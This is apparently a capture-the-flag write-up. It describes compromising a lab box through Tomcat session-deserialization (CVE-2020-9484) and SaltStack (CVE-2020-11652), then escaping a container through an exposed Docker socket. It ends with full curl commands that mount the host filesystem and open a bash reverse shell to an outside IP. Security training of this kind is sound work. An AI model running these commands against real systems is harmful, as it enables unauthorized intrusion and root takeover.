It was an interesting box with the opportunity to learn a bit more about a couple of technologies, including Docker. Let’s start off with the usual quick scans to get started quickly while waiting for a full one. The scans showed SSH and Tomcat running on this box. The site seems to provide an AV (Anti-Virus) scan service. And fuzzing the site did not reveal anything interesting.
Playing around with uploading a few files and modifying requests revealed two interesting things; a temporary upload path /opt/tomcat/temp/
, and what seems to be the final upload path /opt/samples/uploads
.
Now, looking at the list of vulnerabilities fixed after Tomcat 9.0.27 (the version on the box), 2 possible RCEs are reported in CVE-2020-9484 (Remote Code Execution via session persistence) and CVE-2020-1938 (AJP Request Injection and potential Remote Code Execution). AJP is not exposed here so we can investigate more the RCE via session persistence.
Looking at the conditions we know we have the possibility to upload a file and know the location but there are still unknowns including if the PersistentManager
is enabled (not the default) and using a FileStore
. This writeup was a good source to get a foothold on this box.
So a possible route to exploitation is to upload a malicious serialized object (i.e. generated by ysoserial
) which will end up at the location above then trigger the deserialization by sending a request with the controlled JSESSIONID
that will lead to code execution, if PersistentManager
is enabled as described above.
I tried to trigger a reverse shell in one go with a number of one-liner reverse shells but it didn’t work, so I ended up creating an elf
payload using msfvenom
, upload it into the box, make it executable, then running it (in three steps!) At each step, create the malicious object using ysoserial
, then upload it through the site, before triggering the deserialization with the HTTP request.
We have now a foothold on the system as user tomcat
. Now, running the usual recon scripts (linpeas and LinEnum), we learn a few things, including that the box is hosting Docker. We also see the internal services including on port 4505 and 4506 which points to SaltStack which seems to be an automation framework (comparable to Ansible). We also see the IP 172.17.0.2
(in the ARP history on docker0
), which would be the container potentially hosting some of the services exposed by the host. We start off by a scan from our meterpreter session.
So the container 172.17.0.2 is hosting SaltStack, which seems to have an unauthenticated RCE vulnerability CVE-2020-11652. This has a public PoC exploit available here. Before running the exploit, we set up a port forwarding. Then, similar to the above, after a few trial and error, and checking for the existence of python on the box, ended up uploading then running a python reverse shell.
We now land on the container as root, and the question that comes to mind at this stage is, how can we escape to the host from here? The .bash_history
file had the answer (I had missed it initially and took me some time to come back to it and see it!). The docker socket /var/run/docker.sock
is exposed.
The way we’re going to exploit this is by creating a container that mounts the root filesystem then we’ll get a reverse shell from that newly created container which will effectively give us root access on the host.
The list of commands is not very visible on the screenshot above, so here it is:
List (get image ID):
curl --unix-socket /var/run/docker.sock http://localhost/containers/json
Create a container:
curl -XPOST --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' -d '{"Image":"188a2704d8b0","Cmd":["/bin/sh"],"OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host"}]}' http://localhost/containers/create
Start the container:
curl -XPOST --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' http://localhost/containers/<ID_CREATE>/start
Exec – get a reverse shell:
curl -XPOST --unix-socket /var/run/docker.sock -H "Content-Type: application/json" --data-binary '{"AttachStdin": false,"AttachStdout": true,"AttachStderr": true,"Cmd": ["/bin/bash","-c", "bash -i >& /dev/tcp/10.10.16.119/4455 0>&1"]}' http://localhost/containers/<ID_CREATE>/exec
curl -XPOST --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' http://localhost/exec/<ID_EXEC>/start -d '{}'
Please feel free to leave comments, especially if you have a better way or interesting alternatives to do any of the above.